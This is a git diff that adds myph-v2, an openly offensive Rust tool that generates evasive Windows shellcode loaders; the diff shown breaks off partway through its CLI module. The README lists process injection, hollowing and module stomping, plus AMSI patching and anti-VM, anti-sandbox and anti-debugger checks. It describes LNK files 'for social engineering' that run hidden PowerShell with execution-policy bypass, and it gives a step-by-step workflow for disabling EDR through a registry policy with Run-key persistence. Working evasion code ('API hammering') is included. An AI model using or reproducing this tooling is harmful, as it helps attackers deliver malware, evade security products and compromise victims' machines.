+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+
+[[package]]
+name = "windows-core"
+version = "0.62.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
+dependencies = [
+ "windows-implement",
+ "windows-interface",
+ "windows-link",
+ "windows-result",
+ "windows-strings",
+]
+
+[[package]]
+name = "windows-implement"
+version = "0.60.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "windows-interface"
+version = "0.59.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "windows-link"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
+
+[[package]]
+name = "windows-result"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "windows-strings"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.61.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "winstructs"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6dc7406cd936173d9cc3a4fd5dc5b295bc59612439d72038e3d7ac4e5dd42de9"
+dependencies = [
+ "bitflags 1.3.2",
+ "byteorder",
+ "chrono",
+ "log",
+ "num-derive 0.3.3",
+ "num-traits",
+ "serde",
+ "serde_json",
+ "thiserror 1.0.69",
+]
+
+[[package]]
+name = "wit-bindgen"
+version = "0.46.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f17a85883d4e6d00e8a97c586de764dabcc06133f7f1d55dce5cdc070ad7fe59"
+
+[[package]]
+name = "zerocopy"
+version = "0.8.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fd74ec98b9250adb3ca554bdde269adf631549f51d8a8f8f0a10b50f1cb298c3"
+dependencies = [
+ "zerocopy-derive",
+]
+
+[[package]]
+name = "zerocopy-derive"
+version = "0.8.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d8a8d209fdf45cf5138cbb5a506f6b52522a25afccc534d1475dad8e31105c6a"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "zmij"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "de9211a9f64b825911bdf0240f58b7a8dac217fe260fc61f080a07f61372fbd5"
diff --git a/Cargo.toml b/Cargo.toml
@@ -0,0 +1,30 @@
+[package]
+name = "myph_v2"
+version = "0.1.0"
+edition = "2021"
+authors = ["djnnvx"]
+
+[dependencies]
+clap = { version = "4.5", features = ["derive"] }
+rand = "0.8"
+sha2 = "0.10"
+# Base64 encoding
+base64 = "0.22"
+# UUID generation
+uuid = { version = "1.11", features = ["v4"] }
+# Encryption dependencies
+aes = "0.8"
+chacha20 = "0.9"
+blowfish = "0.9"
+twofish = "0.7"
+camellia = "0.1"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+# Binary manipulation for verifying generated binaries
+goblin = "0.10"
+# LNK file generation
+lnk = { version = "0.6.3", features = ["binwrite", "unstable-save"] }
+
+[target.'cfg(windows)'.dependencies]
+ntapi = "0.4"
+winapi = { version = "0.3", features = ["ntdef"] }
diff --git a/README.md b/README.md
@@ -1 +1,616 @@
-# myph-v2
-\ No newline at end of file
+# myph-v2
+
+> A modern Rust-based shellcode loader framework with multiple injection techniques and evasion capabilities for Windows environments.
+
+[](https://github.com/djnnvx/myph-v2/actions)
+[](https://www.rust-lang.org/)
+
+In loving memory of **Vasyl Slipak** (1974 - 2016) - [Wikipedia](https://en.wikipedia.org/wiki/Vasyl_Slipak)
+
+---
+
+## Disclaimer
+
+This tool is designed for **security research and authorized penetration testing only**. Users are responsible for complying with applicable laws and regulations. Misuse of this software for unauthorized access or malicious purposes is strictly prohibited.
+
+---
+
+## Overview
+
+**myph-v2** is a sophisticated shellcode loader generator that creates highly evasive Windows executables, DLLs, and shortcut files. It combines multiple injection techniques, encryption algorithms, and anti-analysis features to generate payloads that can bypass modern security solutions.
+
+### Key Capabilities
+
+- **7 Encryption Algorithms**: AES-128, AES-256, ChaCha20, Twofish, Camellia-256, Blowfish, and XOR with automatic key derivation
+- **17 Injection Techniques**: From classic CreateRemoteThread to advanced syscalls, process hollowing, module stomping, and callback-based execution
+- **Triple Output Formats**: Generate PE executables (.exe), DLLs (.dll), and Windows shortcuts (.lnk) with cross-platform support
+- **Evasion Features**: API hammering, AMSI patching, string encryption, dynamic function resolution, anti-VM, anti-sandbox, and anti-debugger detection
+- **Binary Optimization**: Automatic symbol stripping and size optimization
+- **Cross-Compilation**: Build Windows binaries from Linux/macOS
+
+---
+
+## Table of Contents
+
+- [Prerequisites](#prerequisites)
+- [Installation](#installation)
+- [Features](#features)
+- [Usage](#usage)
+- [Injection Techniques](#injection-techniques)
+- [Encryption Methods](#encryption-methods)
+- [Development](#development)
+- [CI/CD](#cicd)
+- [Architecture](#architecture)
+- [Troubleshooting](#troubleshooting)
+- [Contributing](#contributing)
+- [Legal Notice](#legal-notice)
+- [Contact](#contact)
+
+---
+
+## Prerequisites
+
+- **Rust**: Version 1.85.0 or later ([rustup.rs](https://rustup.rs/))
+- **MinGW-w64**: For cross-compilation to Windows (Linux/macOS only)
+
+---
+
+## Installation
+
+### Installation
+
+```bash
+# Install Rust
+curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+
+# Linux/macOS: Install cross-compilation tools
+sudo apt-get install -y mingw-w64 # Debian/Ubuntu
+brew install mingw-w64 # macOS
+rustup target add x86_64-pc-windows-gnu
+
+# Clone and build
+git clone https://github.com/djnnvx/myph-v2.git
+cd myph-v2
+cargo build --release
+
+# Verify
+cargo test
+./target/release/myph_v2 --help
+```
+
+---
+
+## Features
+
+### Encryption Methods
+
+| Algorithm | Key Size | Security Level |
+|-----------|----------|----------------|
+| **AES-128** | 128-bit | High |
+| **AES-256** | 256-bit | High |
+| **ChaCha20** | 256-bit | High |
+| **Twofish** | 256-bit | High |
+| **Camellia-256** | 256-bit | High |
+| **Blowfish** | 32-448 bit | Medium-High |
+| **XOR** | Variable | Basic |
+
+All methods (except XOR) use SHA-256 key derivation with random IV/nonce generation.
+
+### Technique Capability Matrix
+
+| Technique | Detection Difficulty | Admin Required | Process Injection | Dynamic Resolver | AMSI Patch | Requires Ntdll |
+|-----------|---------------------|----------------|-------------------|------------------|------------|----------------|
+| crt | Medium | | ✓ | ✓ | ✓ | |
+| crtx | Medium | | ✓ | ✓ | ✓ | |
+| create-fiber | Medium-High | | Local | ✓ | ✓ | |
+| process-hollowing | High | | ✓ | ✓ | ✓ | ✓ |
+| nt-create-thread-ex | Medium-High | | ✓ | ✓ | ✓ | ✓ |
+| syscall | Medium | | Local | ✓ | ✓ | ✓ |
+| etwp | High | | Local | ✓ | ✓ | |
+| set-timer | High | | Local | ✓ | ✓ | |
+| enum-calendar | High | | Local | ✓ | ✓ | |
+| enum-windows | High | | Local | ✓ | ✓ | |
+| enum-system-locales | High | | Local | ✓ | ✓ | |
+| image-get-digest-stream | High | | Local | ✓ | ✓ | |
+| queue-user-apc | High | | Local | ✓ | ✓ | |
+| fairy-law | Very High | ✓ | Local | ✓ | ✓ | |
+| module-stomping | Very High | | Local | ✓ | ✓ | |
+| thread-hijacking | Very High | | ✓ | ✓ | ✓ | |
+| early-bird | Very High | | ✓ | ✓ | ✓ | |
+
+**Legend:**
+- **Admin Required**: Technique requires administrator privileges
+- **Process Injection**: ✓ = Injects into remote process, Local = Executes locally
+- **Dynamic Resolver**: Supports runtime API resolution via PEB walk
+- **AMSI Patch**: Compatible with AMSI patching
+- **Requires Ntdll**: Uses native NT API functions from ntdll.dll
+
+**Compatibility Check:**
+```bash
+# Check if a technique is compatible with your selected features
+myph_v2 --technique <technique> --check-compatibility
+
+# Example: Check if crt works with dynamic resolver
+myph_v2 --technique crt --process notepad.exe --with-dynamic-function-resolver --check-compatibility
+```
+
+### Output Formats
+
+- **EXE**: Standalone Windows executables
+- **DLL**: Dynamic libraries with DllMain execution
+- **LNK**: Windows shortcut files (PowerShell-based execution)
+
+---
+
+## Usage
+
+### Quick Start
+
+```bash
+myph_v2 -s shellcode.raw -f output.exe -e aes -t crt
+```
+
+### Common Examples
+
+```bash
+# Process injection with custom target
+myph_v2 -s payload.bin -f injector.exe -e aes -t process-hollowing -p notepad.exe
+
+# DLL with evasion features
+myph_v2 -s payload.bin -f loader.dll -b dll -e chacha20 -t crtx -p explorer.exe \
+ --with-api-hammering --with-amsi-patch
+
+# LNK file for social engineering (PowerShell-based)
+myph_v2 -s payload.bin -f document.lnk -b lnk -e aes -t create-fiber
+
+# Callback execution (no injection)
+myph_v2 -s payload.bin -f callback.exe -e xor -t enum-calendar --with-amsi-patch
+
+# Maximum evasion
+myph_v2 -s payload.bin -f evasive.exe -e aes -t syscall \
+ --with-string-encryption --with-dynamic-function-resolver --with-amsi-patch
+```
+
+### Options
+
+```
+Required:
+ -s, --shellcode <FILE> Path to raw shellcode file
+
+Output:
+ -f, --out <FILE> Output name [default: out.exe]
+ -b, --binary-format <FMT> Format: exe, dll, lnk [default: exe]
+
+Encryption:
+ -e, --encryption <TYPE> Method: aes, aes256, chacha20, twofish, camellia, xor, blowfish [default: aes]
+ -k, --key <KEY> Encryption key (auto-generated if omitted)
+
+Injection:
+ -t, --technique <TECH> Technique [default: crt]
+ -p, --process <PROC> Target process [default: cmd.exe]
+
+Evasion:
+ --with-api-hammering Enable CPU/IO operations
+ --with-amsi-patch Bypass AMSI
+ --with-string-encryption Encrypt strings at compile-time
+ --with-dynamic-function-resolver
+ Runtime API resolution via PEB walk
+ --with-anti-vm Enable anti-VM detection checks
+ --with-anti-sandbox Enable anti-sandbox detection checks
+ --with-anti-debugger Enable anti-debugger detection checks
+```
+
+---
+
+## Injection Techniques
+
+### Process Injection (requires `-p`)
+
+```bash
+# CreateRemoteThread
+myph_v2 -s sc.raw -t crt -p notepad.exe
+
+# NtCreateThreadEx (native API)
+myph_v2 -s sc.raw -t nt-create-thread-ex -p svchost.exe
+
+# Process Hollowing
+myph_v2 -s sc.raw -t process-hollowing -p cmd.exe
+
+# Thread Hijacking (suspend, modify context, resume)
+myph_v2 -s sc.raw -t thread-hijacking -p explorer.exe
+
+# Early Bird APC (inject before main thread starts)
+myph_v2 -s sc.raw -t early-bird -p notepad.exe
+```
+
+### Local Execution
+
+```bash
+# Fiber-based
+myph_v2 -s sc.raw -t create-fiber
+
+# Module Stomping (overwrite legitimate DLL)
+myph_v2 -s sc.raw -t module-stomping
+
+# Callback-based
+myph_v2 -s sc.raw -t enum-calendar
+myph_v2 -s sc.raw -t image-get-digest-stream
+
+# Direct syscall
+myph_v2 -s sc.raw -t syscall
+```
+
+### Fairy-Law: EDR Evasion via MicrosoftSignedOnly Policy
+
+**Fairy-Law** enables the Windows `MicrosoftSignedOnly` mitigation policy to prevent EDR components from loading. Named after the spell in Fairy Tail anime that only affects enemies while leaving allies unharmed, this technique causes Windows to treat only Microsoft-signed DLLs as "allies" and block all others as "enemies" - including legitimate EDR vendor DLLs.
+
+**How It Works:**
+
+EDR solutions typically rely on user-mode DLLs (monitoring modules, telemetry collectors, support libraries) signed by the vendor or third-party CAs. When `MicrosoftSignedOnly` is enabled:
+
+1. Windows enforces that **ONLY** Microsoft-signed DLLs may be loaded
+2. Vendor-signed EDR DLLs are rejected by the OS
+3. EDR agents fail to initialize their user-mode components
+4. Telemetry, monitoring, and anti-tamper systems do not start
+5. Policy is applied at kernel Phase 0 and **cannot be refreshed at runtime**
+
+**Requirements:**
+
+- Must be run with Administrator privileges
+- System restart required after enabling policy
+- Operator must manually handle all steps
+
+**Usage:**
+
+```bash
+# Generate the binary
+myph_v2 -s sc.raw -t fairy-law -e aes
+
+# With evasion features
+myph_v2 -s sc.raw -t fairy-law -e chacha20 --with-dynamic-function-resolver
+```
+
+**Operator Workflow:**
+
+```bash
+# Step 1: Run as Administrator on target (first execution)
+runas /user:Administrator fairy_law.exe
+# Output: "MicrosoftSignedOnly policy enabled successfully!"
+# Output: "EDR components will be blocked after restart."
+
+# Step 2: Restart the system manually
+shutdown /r /t 0
+
+# Step 3: After restart, EDR fails to load vendor DLLs
+# Binary auto-runs from startup (or run again manually)
+# Payload executes with EDR disabled
+
+# Step 4: Verify EDR failure (optional)
+# EDR agents will show errors in Event Viewer:
+# "The application was unable to start correctly... DLL is not signed by Microsoft"
+```
+
+**Technical Details:**
+
+- Modifies: `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel\MitigationOptions`
+- Sets MicrosoftSignedOnly bit: `0x00, 0x01, 0x00, 0x00...`
+- Adds persistence: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
+- Policy applies system-wide at next boot during kernel initialization
+
+**Benefits:**
+
+- **Complete EDR failure**: User-mode components cannot initialize
+- **System-level enforcement**: Applied before EDR agents start
+- **Cannot be bypassed at runtime**: Kernel Phase 0 enforcement
+- **No detection**: Legitimate Windows security feature
+- **Persistent**: Remains active until policy is disabled and system is restarted
+
+**Detection Difficulty:**
+
+- Very High: Uses legitimate Windows security policy
+- EDR logs will show DLL load failures (after it's too late)
+- No suspicious process behavior
+- Registry modification is standard Windows administration
+
+** [!] Warning:**
+
+This technique:
+- Requires Administrator privileges (no automatic UAC)
+- Modifies system-level security settings
+- Requires manual system restart
+- Blocks ALL non-Microsoft DLLs system-wide (may break some applications)
+- Operator must manually remove policy after testing
+
+Use only in authorized red team engagements and penetration testing.
+
+---
+
+### LNK Format: Windows Shortcut Delivery
+
+**LNK (Windows Shortcut)** files provide an alternative delivery mechanism using PowerShell-based shellcode execution.
+**They can be generated on Linux/macOS build environments** without requiring PowerShell to be installed.
+
+**How It Works:**
+
+1. Generates a PowerShell script with embedded base64-encoded encrypted shellcode
+2. Creates an LNK file that points to PowerShell with hidden window style
+3. When user double-clicks the LNK file, PowerShell executes the script
+4. Script decrypts shellcode and executes it in memory
+
+**Usage:**
+
+```bash
+# Basic LNK generation
+myph_v2 -s payload.bin -f document.lnk -b lnk -e aes
+
+# With encryption and evasion
+myph_v2 -s payload.bin -f report.lnk -b lnk -e chacha20 --with-string-encryption
+
+# Different techniques
+myph_v2 -s payload.bin -f file.lnk -b lnk -e xor -t syscall
+myph_v2 -s payload.bin -f setup.lnk -b lnk -e aes256 -t create-fiber
+```
+
+**Limitations:**
+
+- PowerShell execution policy must allow script execution
+- Process injection techniques run as local execution (fallback)
+- Script Execution Policy Bypass used (`-ExecutionPolicy Bypass`)
+- AV/EDR may monitor PowerShell execution
+
+**Technical Details:**
+
+- LNK target: `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`
+- Arguments: `-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File <script>`
+- PowerShell script stored in: `%TEMP%\payload_<UUID>.ps1`
+- Shellcode: Base64-encoded, decrypted at runtime
+- Memory allocation: PowerShell's `[System.Runtime.InteropServices.Marshal]`
+- Icon: Uses `shell32.dll` (customizable)
+
+**Detection Difficulty:**
+
+- Medium: PowerShell execution is commonly monitored
+- AV/EDR may flag suspicious PowerShell behavior
+- Can be improved with obfuscation and anti-detection techniques
+- Consider using `--with-string-encryption` for better evasion
+
+---
+
+## Encryption Methods
+
+```bash
+# AES-128 (hardware accelerated)
+myph_v2 -s sc.raw -e aes -k "MyPassword"
+
+# AES-256 (strongest AES)
+myph_v2 -s sc.raw -e aes256 -k "MyPassword"
+
+# ChaCha20 (fast, no side-channels)
+myph_v2 -s sc.raw -e chacha20 -k "StreamKey"
+
+# Twofish (AES finalist, highly secure)
+myph_v2 -s sc.raw -e twofish -k "TwofishKey"
+
+# Camellia-256 (international standard)
+myph_v2 -s sc.raw -e camellia -k "CamelliaKey"
+
+# Blowfish (proven, variable key)
+myph_v2 -s sc.raw -e blowfish -k "BlowKey"
+
+# XOR (fast, testing only)
+myph_v2 -s sc.raw -e xor -k "SimpleKey"
+```
+
+### String Encryption
+
+Encrypts string literals at compile-time, decrypts at runtime:
+
+```bash
+myph_v2 -s sc.raw -e aes --with-string-encryption
+```
+
+### Dynamic Function Resolution
+
+Runtime API resolution via PEB walk eliminates static IAT entries:
+
+```bash
+myph_v2 -s sc.raw -e xor --with-dynamic-function-resolver -t create-fiber
+```
+
+**Benefits:**
+- No static IAT entries
+- Encrypted function names
+- Defeats static analysis
+- Works with all techniques
+
+### Anti-Analysis Detection
+
+Detect and evade virtual machines, sandboxes, and debuggers before execution:
+
+```bash
+# Anti-VM detection (checks VM artifacts, processes, registry)
+myph_v2 -s sc.raw -e aes -t create-fiber --with-anti-vm
+
+# Anti-sandbox detection (checks timing, user interaction, resources)
+myph_v2 -s sc.raw -e aes -t syscall --with-anti-sandbox
+
+# Anti-debugger detection (checks debugger presence, breakpoints)
+myph_v2 -s sc.raw -e aes -t enum-calendar --with-anti-debugger
+
+# Combine multiple evasion techniques
+myph_v2 -s sc.raw -e aes -t module-stomping \
+ --with-anti-vm --with-anti-sandbox --with-anti-debugger \
+ --with-amsi-patch --with-string-encryption
+```
+
+**Detection Methods:**
+- **Anti-VM**: VM DLLs, processes, registry keys, CPU/memory limits, firmware
+- **Anti-Sandbox**: Timing analysis, file system checks, uptime, user activity
+- **Anti-Debugger**: IsDebuggerPresent, remote debugger, debug port, hardware breakpoints
+
+---
+
+## Development
+
+### Building
+
+```bash
+cargo build # Debug build
+cargo build --release # Optimized build
+cargo run -- -s shellcode.raw -f out.exe
+```
+
+### Testing
+
+```bash
+cargo test # All tests
+cargo test -- --nocapture # With output
+cargo test encryption:: # Specific module
+```
+
+### Code Quality
+
+```bash
+cargo fmt --check # Check formatting
+cargo fmt # Format code
+cargo clippy --all-targets --all-features -- -D warnings
+cargo check # Fast compile check
+```
+
+### Debug Mode
+
+Enable code generation debug markers with the `MYPH_DEBUG_CODEGEN` environment variable:
+
+```bash
+MYPH_DEBUG_CODEGEN=1 ./myph_v2 -s shellcode.raw -f output.exe -e aes
+```
+
+This adds helpful comments to the generated code showing technique names and code sections:
+```rust
+// === Technique: CreateFiber ===
+// --- Imports & Declarations ---
+// --- Constants ---
+// --- Main Implementation ---
+```
+
+Useful for debugging code generation issues. Has no effect on production builds (comments are removed during compilation).
+
+---
+
+## CI/CD
+
+GitHub Actions runs on every push to `stable`:
+
+1. **Check**: `cargo check --verbose`
+2. **Test**: `cargo test --verbose` (unit tests)
+3. **Format**: `cargo fmt -- --check`
+4. **Clippy**: `cargo clippy --all-targets --all-features -- -D warnings`
+5. **E2E Test**: Validates all 13 techniques, 7 encryption methods, and features
+6. **Build**: `cargo build --release --verbose`
+7. **Windows Integration**: Unit tests for PEB walk and API resolution
+8. **Windows E2E**: Build myph-v2, generate binaries with NOP shellcode, and verify execution
+
+Run locally:
+```bash
+cargo check && cargo test && cargo fmt --check && \
+cargo clippy --all-targets --all-features -- -D warnings && \
+cargo build --release
+```
+
+---
+
+## Architecture
+
+### Code Generation Pipeline
+
+```
+CLI Input → Parse Options → Encrypt Shellcode → Generate Rust Project
+→ Cargo Build (optimized, stripped) → Verify Binary → Copy to Output
+```
+
+### Design Principles
+
+- **Code Generation**: Creates temporary Rust projects for optimal compilation
+- **Encryption**: Proper cryptographic practices with SHA-256 key derivation
+- **Builder Pattern**: Type-safe, fluent API for configuration
+
+---
+
+## Troubleshooting
+
+### Build Issues
+
+**`linker 'x86_64-w64-mingw32-gcc' not found`**
+```bash
+# Install MinGW-w64
+sudo apt-get install mingw-w64 # Debian/Ubuntu
+brew install mingw-w64 # macOS
+rustup target add x86_64-pc-windows-gnu
+```
+
+**`Failed to read shellcode file`**
+```bash
+ls -lh shellcode.raw # Verify file exists
+chmod +r shellcode.raw # Fix permissions
+```
+
+### Runtime Issues
+
+**Generated binary won't execute on Windows**
+- Check Windows Defender/AV isn't quarantining
+- Verify correct architecture (x64): `file output.exe`
+- Try running as Administrator for injection techniques
+
+**Injection fails with "Access Denied"**
+- Run as Administrator
+- Target less-protected process (e.g., notepad.exe)
+- Try different injection technique
+
+---
+
+## Contributing
+
+### Adding a New Technique
+
+To add a new injection technique:
+
+1. Create `src/internals/templates/techniques/new_technique.rs` with the standard pattern:
+ ```rust
+ pub fn new_technique_import() -> String { /* imports */ }
+ pub fn new_technique_const() -> String { /* constants/externs */ }
+ pub fn new_technique_init() -> String { /* init code */ }
+ pub fn new_technique_process() -> String { /* main logic */ }
+ pub fn generate_new_technique_code(function_name: &str) -> String { /* static version */ }
+ pub struct NewTechniqueGenerator;
+ impl TechniqueGenerator for NewTechniqueGenerator { /* trait impl */ }
+ ```
+
+2. Use centralized externs from `common.rs` - don't duplicate `VirtualAlloc`, `VirtualProtect`, etc.
+
+3. Use helpers from `codegen_helpers.rs` for common patterns like `MemoryAllocationBuilder`
+
+4. Export in `mod.rs`:
+ ```rust
+ pub mod new_technique;
+ pub use new_technique::NewTechniqueGenerator;
+ ```
+
+5. Add unit tests and E2E tests in `.github/workflows/ci.yml`
+
+6. Update the technique table in this README
+
+---
+
+## Legal Notice
+
+This tool is provided for educational and authorized security testing purposes only. The authors and contributors are not responsible for misuse or illegal activities conducted with this software. Always obtain explicit written permission before testing against systems you do not own.
+
+---
+
+## Contact
+
+For suggestions or questions, please contact the author directly at [https://djnn.sh](https://djnn.sh).
+
+---
+
+**Made with care by djnn**
diff --git a/build.rs b/build.rs
@@ -0,0 +1,44 @@
+use std::env;
+use std::fs;
+use std::path::Path;
+
+// Include only the modules needed for build script
+mod internals_utils {
+ include!("src/internals/templates/internals_utils.rs");
+}
+
+mod validation {
+ include!("src/internals/templates/validation.rs");
+}
+
+// Re-export the functions we need
+use internals_utils::*;
+use validation::*;
+
+/// Generate the complete internals module source code for embedding in generated binaries
+fn generate_internals_source() -> String {
+ format!(
+ "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}",
+ internals_hex_to_bytes(),
+ internals_bytes_to_hex(),
+ internals_xor_bytes(),
+ internals_pad_pkcs7(),
+ internals_unpad_pkcs7(),
+ internals_is_valid_utf8(),
+ internals_compute_checksum(),
+ internals_validate_checksum()
+ )
+}
+
+fn main() {
+ let out_dir = env::var("OUT_DIR").unwrap();
+ let dest_path = Path::new(&out_dir).join("internals_impl.rs");
+
+ let implementation = generate_internals_source();
+
+ fs::write(&dest_path, implementation).unwrap();
+ println!("cargo:rerun-if-changed=build.rs");
+ println!("cargo:rerun-if-changed=src/internals/templates/internals_utils.rs");
+ println!("cargo:rerun-if-changed=src/internals/templates/encryption.rs");
+ println!("cargo:rerun-if-changed=src/internals/templates/validation.rs");
+}
diff --git a/src/api_hammering.rs b/src/api_hammering.rs
@@ -0,0 +1,177 @@
+//! API Hammering - Evasion technique to defeat behavioral analysis
+//!
+//! This module implements API hammering, an anti-analysis technique that adds
+//! random CPU-intensive and I/O operations between API calls to evade sandbox
+//! detection and behavioral analysis engines.
+//!
+//! # Techniques Used
+//!
+//! - **Random File I/O**: Creates, writes, reads, and deletes temporary files
+//! with random names and extensions to generate I/O noise
+//! - **CPU-Intensive Operations**: Calculates prime numbers to consume CPU
+//! cycles and add timing variations
+//!
+//! # Usage
+//!
+//! These functions are injected into the generated payload code when the
+//! `--with-api-hammering` flag is enabled. They are called between critical
+//! API operations to mask the actual malicious behavior.
+
+use rand::{thread_rng, Rng};
+use std::fs::{remove_file, File};
+use std::io::{self, Read, Write};
+
+pub fn write_random_files(num: usize) -> io::Result<()> {
+ let dir = std::env::temp_dir();
+
+ for _ in 0..num {
+ let mut rng = thread_rng();
+ let random_suffix: u32 = rng.gen();
+ let extensions = [".log", ".bitmap", ".txt"];
+ let extension = extensions[rng.gen_range(0..extensions.len())];
+ let file_name = format!("{:x}{}", random_suffix, extension);
+ let path = dir.as_path().join(&file_name);
+
+ let size = 0xFFFFF;
+
+ let mut file = File::create(&path)?;
+ let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
+ file.write_all(&data)?;
+
+ let mut file = File::open(&path)?;
+ let mut buffer = vec![0; size];
+ file.read_exact(&mut buffer)?;
+
+ remove_file(path)?;
+ }
+
+ Ok(())
+}
+
+#[no_mangle]
+#[inline(never)]
+pub fn calc_primes(iterations: usize) {
+ let mut prime = 2;
+ let mut i = 0;
+ while i < iterations {
+ if (2..prime).all(|j| prime % j != 0) {
+ i += 1;
+ }
+ prime += 1;
+ }
+}
+
+pub fn allocate_random_memory(num_allocs: usize) {
+ let mut allocations = Vec::new();
+ let mut rng = thread_rng();
+
+ for _ in 0..num_allocs {
+ let size = 1024 + rng.gen_range(0..8192);
+ let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
+ allocations.push(data);
+ }
+}
+
+pub fn transform_strings(iterations: usize) {
+ let mut rng = thread_rng();
+
+ for _ in 0..iterations {
+ let len = rng.gen_range(5..15);
+ let s: String = (0..len)
+ .map(|_| {
+ let idx = rng.gen_range(0..26);
+ (b'a' + idx) as char
+ })
+ .collect();
+ let _uppercase = s.to_uppercase();
+ let _lowercase = s.to_lowercase();
+ let _repeated = s.repeat(3);
+ let _reversed: String = s.chars().rev().collect();
+ }
+}
+
+pub fn sleep_random_jitter(max_millis: u64) {
+ let mut rng = thread_rng();
+ let jitter = rng.gen_range(0..max_millis);
+ std::thread::sleep(std::time::Duration::from_millis(jitter));
+}
+
+#[cfg(windows)]
+pub fn query_registry_keys(num_queries: usize) -> io::Result<()> {
+ use std::process::Command;
+
+ let keys = [
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion",
+ r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion",
+ r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control",
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
+ r"HKEY_CURRENT_USER\Environment",
+ r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services",
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Classes",
+ r"HKEY_CURRENT_USER\Software\Classes",
+ r"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System",
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
+ ];
+ let mut rng = thread_rng();
+
+ for _ in 0..num_queries {
+ let key = keys[rng.gen_range(0..keys.len())];
+ let _ = Command::new("reg").args(&["query", key]).output();
+ }
+
+ Ok(())
+}
+
+#[cfg(not(windows))]
+pub fn query_registry_keys(_num_queries: usize) -> io::Result<()> {
+ Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_calc_primes_completes() {
+ calc_primes(5);
+ }
+
+ #[test]
+ fn test_write_random_files_succeeds() {
+ let result = write_random_files(1);
+ if let Err(e) = &result {
+ eprintln!("Error: {:?}", e);
+ }
+ assert!(result.is_ok());
+ }
+
+ #[test]
+ fn test_write_random_files_creates_and_removes() {
+ let result = write_random_files(1);
+ if let Err(e) = &result {
+ eprintln!("Error during write_random_files: {:?}", e);
+ }
+ assert!(result.is_ok(), "write_random_files should succeed");
+ }
+
+ #[test]
+ fn test_allocate_random_memory_completes() {
+ allocate_random_memory(5);
+ }
+
+ #[test]
+ fn test_transform_strings_completes() {
+ transform_strings(10);
+ }
+
+ #[test]
+ fn test_sleep_random_jitter_completes() {
+ sleep_random_jitter(5);
+ }
+
+ #[test]
+ fn test_query_registry_keys_succeeds() {
+ let result = query_registry_keys(1);
+ assert!(result.is_ok());
+ }
+}
diff --git a/src/cli/mod.rs b/src/cli/mod.rs
@@ -0,0 +1,504 @@
+use clap::{Parser, ValueEnum};
+use rand::Rng;
+
+#[allow(clippy::upper_case_acronyms)]
+#[derive(Debug, Clone, ValueEnum)]
+pub enum EncryptionKind {
+ AES,
+ #[value(name = "aes256")]
+ AES256,
+ #[value(name = "chacha20")]
+ Chacha20,
+ XOR,
+ #[value(name = "blowfish")]
+ Blowfish,
+ #[value(name = "twofish")]
+ Twofish,
+ #[value(name = "camellia")]
+ Camellia,
+}
+
+#[allow(clippy::upper_case_acronyms)]
+#[derive(Debug, Clone, ValueEnum)]
+pub enum Technique {
+ #[value(name = "crt")]
+ CRT,
+ #[value(name = "crtx")]
+ CRTx,
+ #[value(name = "create-fiber")]
+ CreateFiber,
+ #[value(name = "process-hollowing")]
+ ProcessHollowing,
+ #[value(name = "create-thread")]
+ CreateThread,
+ #[value(name = "nt-create-thread-ex")]
+ NtCreateThreadEx,
+ #[value(name = "syscall")]
+ Syscall,
+ #[value(name = "etwp")]
+ Etwp,
+ #[value(name = "set-timer")]
+ SetTimer,
+ #[value(name = "enum-calendar")]
